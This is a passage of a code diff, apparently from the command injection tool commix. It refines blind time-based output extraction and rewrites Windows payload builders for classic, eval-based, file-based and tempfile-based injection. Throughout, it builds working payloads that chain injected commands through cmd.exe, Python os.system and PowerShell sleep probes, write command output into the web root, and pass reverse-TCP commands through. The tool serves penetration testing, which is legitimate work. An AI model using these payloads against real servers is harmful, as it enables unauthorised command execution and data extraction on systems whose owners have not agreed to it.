sent. + def _fall_back_to_single_thread(reason): + warn_msg = reason + " Continuing with a single thread" + warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + # Whatever was printed last is ended first: the carriage return below returns to the start of + # the line, and would otherwise write this message over it. Left open after that, so the dots of + # the model being taken again carry on under this line. + settings.close_progress_line() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + settings.THREADED_TIME_RETRIEVAL_CHOICE = False + settings.CONCURRENT_BASELINE = False + del settings.RESPONSE_TIMES[:] + _warm_up_baseline(announce=False) + + def _raise_delay_above_baseline(): + nonlocal timesec + needed = _needed_delay() + if needed is None or needed <= timesec: + return + # Every probe of every character would pay that longer delay, which is more than the threads + # save - so where they are what made the answers slow, they go instead of the delay growing. + if retrieval_concurrency() > 1: + _fall_back_to_single_thread("Concurrent requests would need a longer delay on every probe.") + needed = _needed_delay() + if needed is None or needed <= timesec: + return + timesec = settings.CALIBRATED_TIMESEC = needed + warn_msg = "Raising the time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + warn_msg += ", so that it stands above the target's own response times." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Guard timesec so concurrent payloads use the same value for sending and validation. timesec_lock = threading.Lock() delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES def _adjust_time_delay(exec_time, lower_limit): nonlocal timesec + # Never while several requests are in flight. The limit behind this is measured on answers that + # were not held back, while most of the probes around them are - and a request that waits its + # turn behind those comes back as late as one that was delayed on purpose. Lowered on the + # strength of the quick answers, the delay stops standing out from the slow ones at all. + if settings.THREADS > 1: + return if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE == False: return candidate = settings.TIME_DELAY_STEP + int(round(lower_limit)) @@ -188,8 +278,110 @@ def _measure_length(payload): settings.print_data_to_stdout(".") return decision + # Told apart by the difference between a condition that must hold and one that cannot, rather + # than by a threshold: the payload's own work counts for seconds of its own on a slow target. + # Where the two are indistinguishable, every comparison reads as true and the search would settle + # on '--maxlen' and then extract that many characters of noise. + def _oracle_holds(): + def _probe_time(candidate): + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.get_length(separator, cmd, candidate, timesec, http_request_method) + else: + probe = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + if not probe: + return None + # No progress dot of its own: this runs before the retrieval line is printed, where a dot + # would sit on its own under the last prompt. + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + return exec_time + + impossible = int(maxlen) * 2 + 100 + for _ in range(settings.FALSE_POSITIVE_RETRIES): + try: + cannot_hold = _probe_time(impossible) + must_hold = _probe_time(int(minlen)) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + if cannot_hold is None or must_hold is None: + return True + checks.record_baseline_response_time(cannot_hold) + if must_hold - cannot_hold >= checks.injected_delay(timesec) / 2.0: + return True + return False + + # Whether the answers can still be told apart while several requests are in flight - asked of the + # target rather than inferred from a model of it. One probe whose condition cannot hold, and so + # cannot ask for a delay, is sent alongside the others that do ask for one: if even that one comes + # back looking late, then so does everything the retrieval is about to compare. Every round has to + # be told apart, because a retrieval makes thousands of those comparisons and reads a character + # wrong on any one of them. Returns how late such an answer was, or None where none of them were. + def _confounded_by_threads(workers): + impossible = int(maxlen) * 2 + 100 + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + quick = payloads.get_length(separator, cmd, impossible, timesec, http_request_method) + slow = payloads.get_length(separator, cmd, int(minlen), timesec, http_request_method) + else: + quick = payloads.cmd_execution(separator, cmd, impossible, OUTPUT_TEXTFILE, timesec, http_request_method) + slow = payloads.cmd_execution(separator, cmd, int(minlen), OUTPUT_TEXTFILE, timesec, http_request_method) + if not quick or not slow: + return None + + def _hold_answer_back(): + # The point of these is the load they put on the target, not what they come back with. + threading.current_thread().commix_suppress_output = True + try: + requests.perform_injection(prefix, suffix, whitespace, slow, vuln_parameter, http_request_method, url) + except Exception: + pass + + exec_time = 0 + for _ in range(settings.FALSE_POSITIVE_RETRIES): + try: + with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: + for _ in range(workers - 1): + executor.submit(_hold_answer_back) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, quick, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + if checks.time_related_shell(url_time_response, exec_time, timesec): + return exec_time + return None + + # Raising the delay instead would cost every probe of every character what the concurrency saves. + def _drop_threads_if_timing_unsafe(): + workers = retrieval_concurrency() + if workers <= 1 or not _THREADS_SUPPORTED: + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking whether answers can still be told apart with " + str(workers) + debug_msg += " requests in flight." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + exec_time = _confounded_by_threads(workers) + if exec_time is None: + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "An answer that asked for no delay still took " + str(round(exec_time, 1)) + debug_msg += " seconds while " + str(workers - 1) + " other request" + debug_msg += ("s" if workers > 2 else "") + " waited on the target." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + _fall_back_to_single_thread("Concurrent requests make every answer look delayed on this target.") + + _warm_up_target_shell() _warm_up_baseline() + _drop_threads_if_timing_unsafe() _check_lagging() + _raise_delay_above_baseline() + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking that a delayed answer can be told apart from an ordinary one." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + if not _oracle_holds(): + err_msg = "The target answers as late for a condition that cannot hold as for one that does, " + err_msg += "so the length of the output cannot be measured. Try again with a higher '--time-sec'" + err_msg += ", fewer '--threads', or over a less loaded network." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_critical_msg(err_msg)) + return 0, "" # Close the warm-up dots line before starting a new spinner line. settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -223,22 +415,36 @@ def _length_delayed(candidate): payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) return _measure_length(payload) + # Every step is answered twice, and a third time to break a tie: one wrong answer sends the + # search into the wrong half, which costs the whole search rather than the one probe. + def _length_delayed_confirmed(candidate): + first = _length_delayed(candidate) + if first == _length_delayed(candidate): + return first + return _length_delayed(candidate) + def _bisect_length(): lo = int(minlen) - 1 - hi = int(maxlen) - 1 - # Confirm the upper-bound fast path twice, so Continue/verbosity resumes this same step. - while True: + hi = None + # Doubling first, so the bracket is found among plausible lengths. Starting at '--maxlen' + # instead would let one late answer settle the search on the upper bound. + candidate = max(1, int(minlen)) + while candidate < int(maxlen): try: - if hi >= int(minlen) and _length_delayed(hi) and _length_delayed(hi): - return hi - break + if not _length_delayed_confirmed(candidate): + hi = candidate + break + lo = candidate + candidate = candidate * 2 except KeyboardInterrupt: checks.handle_exploitation_interrupt(filename, url) + if hi is None: + hi = int(maxlen) # A single value to find, nothing to distribute across threads - stays serial. while hi - lo > 1: try: mid = (lo + hi) // 2 - if _length_delayed(mid): + if _length_delayed_confirmed(mid): lo = mid else: hi = mid @@ -252,7 +458,9 @@ def _bisect_length(): def _boundary_holds(candidate): if not _length_delayed(candidate): return False - if candidate + 1 < int(maxlen) and _length_delayed(candidate + 1): + # The next length up must not hold. Without that negative half, a target that answers + # late whatever it is asked has its upper bound accepted as the answer. + if _length_delayed(candidate + 1): return False return True @@ -292,7 +500,7 @@ def _validate_boundary(candidate): revalidations += 1 settings.print_data_to_stdout(settings.print_error_msg("Invalid length detected. Retrying..")) if settings.ADJUST_TIME_DELAY_CHOICE != False: - timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) warn_msg = "Increasing time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) output_length = _bisect_length() @@ -577,7 +785,7 @@ def _validate_char_boundary(candidate): settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) if settings.ADJUST_TIME_DELAY_CHOICE != False: with timesec_lock: - timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) new_timesec = timesec warn_msg = "Increasing time delay to " + str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -656,7 +864,7 @@ def _validate(candidate, local_timesec): settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) if settings.ADJUST_TIME_DELAY_CHOICE != False: with timesec_lock: - timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) candidate = _bisect(timesec) # One bisection per position - the corruption check below catches systematic bias instead. @@ -824,20 +1032,29 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese timesec = timesec + random.randint(3, 5) # Verify the oracle with known logical properties; any failed relationship invalidates the round. - if settings.TARGET_OS != settings.OS.WINDOWS and not interpreter: + if not interpreter: a, c, b = sorted(random.sample(range(1, 50), 3)) # End on a must-delay check; the caller re-validates the final exec_time. - litmus_checks = [ - (str(a) + " -eq " + str(a), True), - (str(a) + " -eq " + str(c), None), # discarded - lets the backend settle after any earlier delay - (str(a) + " -eq " + str(b), False), - (str(b) + " -eq " + str(c), False), - (str(b) + " " + str(c), False), # not a valid test expression - (str(c) + " -eq " + str(c), True), - ] + if settings.TARGET_OS == settings.OS.WINDOWS: + litmus_checks = [ + (payloads.windows_condition_check(separator, str(a) + "-" + str(a), 0, timesec), True), + (payloads.windows_condition_check(separator, str(a) + "-" + str(c), 0, timesec), None), # discarded - lets the backend settle after any earlier delay + (payloads.windows_condition_check(separator, str(a) + "-" + str(b), 0, timesec), False), + (payloads.windows_condition_check(separator, str(b) + "-" + str(c), 0, timesec), False), + (payloads.windows_condition_check(separator, "1-1", 999999, timesec), False), # deliberate mismatch + (payloads.windows_condition_check(separator, str(c) + "-" + str(c), 0, timesec), True), + ] + else: + litmus_checks = [ + (payloads.condition_check(separator, str(a) + " -eq " + str(a), timesec, http_request_method), True), + (payloads.condition_check(separator, str(a) + " -eq " + str(c), timesec, http_request_method), None), # discarded - lets the backend settle after any earlier delay + (payloads.condition_check(separator, str(a) + " -eq " + str(b), timesec, http_request_method), False), + (payloads.condition_check(separator, str(b) + " -eq " + str(c), timesec, http_request_method), False), + (payloads.condition_check(separator, str(b) + " " + str(c), timesec, http_request_method), False), # not a valid test expression + (payloads.condition_check(separator, str(c) + " -eq " + str(c), timesec, http_request_method), True), + ] verified = True - for condition, expect in litmus_checks: - payload = payloads.condition_check(separator, condition, timesec, http_request_method) + for payload, expect in litmus_checks: if payload is None: verified = False break @@ -864,22 +1081,18 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese checks.unexploitable_point(retry_attempt, retry_total) return exec_time, "" + # Only the interpreter path reaches here - the check above answers for every other one, and its + # oracle is an exact match rather than the logical relationships used there. if settings.TARGET_OS == settings.OS.WINDOWS: cmd, previous_cmd = execution.windows_transform_cmd(cmd, technique, interpreter) output_length = 1 if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - if interpreter: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method) - else: - payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method) else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - else: - payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) def _retry_confirm(payload): nonlocal exec_time, vuln_parameter, prefix, suffix @@ -911,16 +1124,10 @@ def _retry_confirm(payload): for ascii_char in range(1, 8): if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - if interpreter: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.fp_result_alter_interpreter(separator, cmd, 1, ascii_char, timesec, http_request_method) - else: - payload = payloads.fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, 1, ascii_char, timesec, http_request_method) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result_alter_interpreter(separator, cmd, 1, ascii_char, timesec, http_request_method) else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.fp_result(separator, cmd, 1, ascii_char, timesec, http_request_method) - else: - payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) + payload = payloads.fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, 1, ascii_char, timesec, http_request_method) if _retry_confirm(payload): output.append(ascii_char) break @@ -1101,7 +1308,9 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): shell = shell[0] else: html_data = checks.process_page_content(response, action="decode") - html_data = re.sub(settings.END_LINE.LF, settings.SINGLE_WHITESPACE, html_data) + # A Windows target ends its lines with CRLF, so every line break counts as the one whitespace + # the markers are looked up with. + html_data = re.sub(r"[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]+", settings.SINGLE_WHITESPACE, html_data) html_data = checks.remove_reflected_values(html_data, payload) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) @@ -1166,7 +1375,8 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Grab execution results html_data = checks.process_page_content(response, action="decode") - html_data = re.sub(settings.END_LINE.LF, new_line, html_data) + # CRLF included, so a Windows target's line breaks are marked the same as a Unix one's. + html_data = re.sub(settings.END_LINE.CRLF + r"|[" + settings.END_LINE.CR + settings.END_LINE.LF + r"]", new_line, html_data) shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) try: if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 854d7315d6..fea8c01c8b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -26,15 +26,19 @@ """ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" if settings.SKIP_CALC: - payload = (separator + - "echo " + TAG + TAG + TAG + settings.CMD_NUL + payload = (chain + + "echo " + TAG + TAG + TAG ) else: - payload = (separator + + # 'set /p' prints its prompt without a trailing newline, so the marker arrives in one piece. + payload = (chain + "for /f \"tokens=*\" %i in ('cmd /c \"" + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL + "\"') do @set /p=" + TAG + "%i" + TAG + TAG + settings.CMD_NUL + checks.WINDOWS_TAIL ) else: if settings.USE_BACKTICKS or settings.WAF_ENABLED: @@ -63,15 +67,18 @@ def decision(separator, TAG, randv1, randv2): """ def decision_alter_interpreter(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" if settings.SKIP_CALC: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\"" - payload = (separator + + payload = (chain + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do @set /p=%i " + settings.CMD_NUL + "') do @set /p=%i" + settings.CMD_NUL + checks.WINDOWS_TAIL ) else: if settings.SKIP_CALC: @@ -97,15 +104,18 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): """ def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" if settings.REVERSE_TCP: - payload = (separator + + payload = (chain + cmd + settings.SINGLE_WHITESPACE ) else: - payload = (separator + + payload = (chain + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL + "\"') do @set /p=" + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL + checks.WINDOWS_TAIL ) else: settings.USER_APPLIED_CMD = cmd @@ -126,17 +136,21 @@ def cmd_execution(separator, TAG, cmd): """ def cmd_execution_alter_interpreter(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" if settings.REVERSE_TCP: - payload = (separator + + payload = (chain + cmd + settings.SINGLE_WHITESPACE ) else: - payload = (separator + + # Run through 'cmd /c', or PowerShell would look the command up among its own cmdlets. + payload = (chain + "for /f \"tokens=*\" %i in ('" + - settings.WIN_PYTHON_INTERPRETER + - " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + - TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + - "') do @set /p=%i " + settings.CMD_NUL + settings.WIN_PYTHON_INTERPRETER + + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + + TAG + TAG + " $(cmd /c " + cmd + ") "+ TAG + TAG + "')\"" + + "') do @set /p=%i" + settings.CMD_NUL + checks.WINDOWS_TAIL ) else: settings.USER_APPLIED_CMD = cmd diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index b134eb6cf7..bf69bad60f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -14,47 +14,40 @@ """ from src.utils import settings +from src.core.injections.controller import checks """ The dynamic code evaluation (aka eval-based) technique. The available "eval-based" payloads. """ +""" +Wrap the shell commands a payload runs in the evaluation sink's print statement. + +Every command has to leave its output on a line of its own: the results are read back as marker, +output and marker separated by newlines, so anything printed without one runs into the next marker. +""" +def _print_statement(separator, commands, chain=None): + if separator == "": + return "print(" + ".".join("`" + command + "`" for command in commands) + ")" + return "print(`" + (chain or separator).join(commands) + "`)%3B" + +""" +Read a value off a Windows command that prints no newline of its own, such as 'set /a'. +""" +def _windows_line(cmd): + return "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @echo %i" + """ eval-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p = %i " + settings.CMD_NUL + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p = %i " + settings.CMD_NUL + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + commands.append(_windows_line("set /a (" + str(randv1) + "%2B" + str(randv2) + ")")) + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: if settings.SKIP_CALC: @@ -92,32 +85,11 @@ def decision(separator, TAG, randv1, randv2): def decision_alter_interpreter(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "` cmd /c " + python_payload + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator +python_payload + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + commands.append(python_payload) + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" @@ -155,25 +127,9 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): """ def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do @set /p = %i " + settings.CMD_NUL - ) - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`" + cmd + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator + cmd + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) + # cmd.exe's echo prints quote characters literally, unlike a POSIX shell that strips them. + commands = ["echo " + TAG, "echo " + TAG, cmd, "echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: settings.USER_APPLIED_CMD = cmd if separator == "": @@ -202,25 +158,9 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: - python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + - "') do @set /p = %i " + settings.CMD_NUL - ) - - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`" + python_payload + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator + python_payload + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + commands = ["echo " + TAG, "echo " + TAG, python_payload, "echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) else: settings.USER_APPLIED_CMD = cmd if separator == "": diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index fd2a66af0d..5eec1d8625 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -21,16 +21,25 @@ from src.utils import settings from src.core.injections.controller import checks +""" +The output file, under the server's root directory, with its separators doubled so that a Windows +path survives being read as a Python string literal. +""" +def windows_output_path(OUTPUT_TEXTFILE): + return (settings.WEB_ROOT + OUTPUT_TEXTFILE).replace("\\", "\\\\") + """ File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" - payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL + chain = checks.windows_separator(separator) + if chain is None: + return "" + # The marker is read back from the file over HTTP, so writing it is all the payload has to do. + payload = (chain + + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + checks.WINDOWS_TAIL ) else: payload = (separator + @@ -58,11 +67,12 @@ def decision_combined(separator, tags, OUTPUT_TEXTFILE): """ def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" - payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do @set /p = %i " + settings.CMD_NUL + chain = checks.windows_separator(separator) + if chain is None: + return "" + payload = (chain + + settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + windows_output_path(OUTPUT_TEXTFILE) + "','w').write('" + TAG + "')\"" + + checks.WINDOWS_TAIL ) else: payload = (separator + @@ -98,11 +108,13 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + cmd) elif settings.TARGET_OS == settings.OS.WINDOWS: - cmd = cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE - payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do @set /p = %i " + settings.CMD_NUL + chain = checks.windows_separator(separator) + if chain is None: + return "" + # The output is read back from the file, so it is redirected there rather than printed. + payload = (chain + + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + checks.WINDOWS_TAIL ) else: settings.USER_APPLIED_CMD = cmd @@ -119,15 +131,16 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): """ def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" if settings.REVERSE_TCP: - payload = (separator + cmd + settings.SINGLE_WHITESPACE + payload = (chain + cmd + settings.SINGLE_WHITESPACE ) else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\"" - payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do @set /p = %i " + settings.CMD_NUL + payload = (chain + + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + windows_output_path(OUTPUT_TEXTFILE) + "')\"" + + checks.WINDOWS_TAIL ) else: settings.USER_APPLIED_CMD = cmd diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index ee6ddc6fdf..2d811ad018 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -22,32 +22,34 @@ The available "tempfile-based" payloads. """ +""" +The file's contents as one line of text, joined and trimmed the same way every payload here reads +it, so a length and the characters counted off it always agree. +""" +def windows_file_text(OUTPUT_TEXTFILE): + return "([string](Get-Content " + OUTPUT_TEXTFILE + ")).trim()" + +""" +A command's output as one line of text. Multi-line output is joined, so a single number describes +its length however many lines it came in. +""" +def windows_cmd_text(cmd): + return "([string](cmd /c " + cmd + ")).trim()" + """ Tempfile-based decision payload (check if host is vulnerable). """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + - "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" + chain = checks.windows_separator(separator) + if chain is not None: + payload = (chain + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + + checks.windows_probe(checks.WINDOWS_CHAIN, + "powershell.exe -InputFormat none write-host " + windows_file_text(OUTPUT_TEXTFILE) + ".length", + "EQU", j, timesec) ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + - "for /f 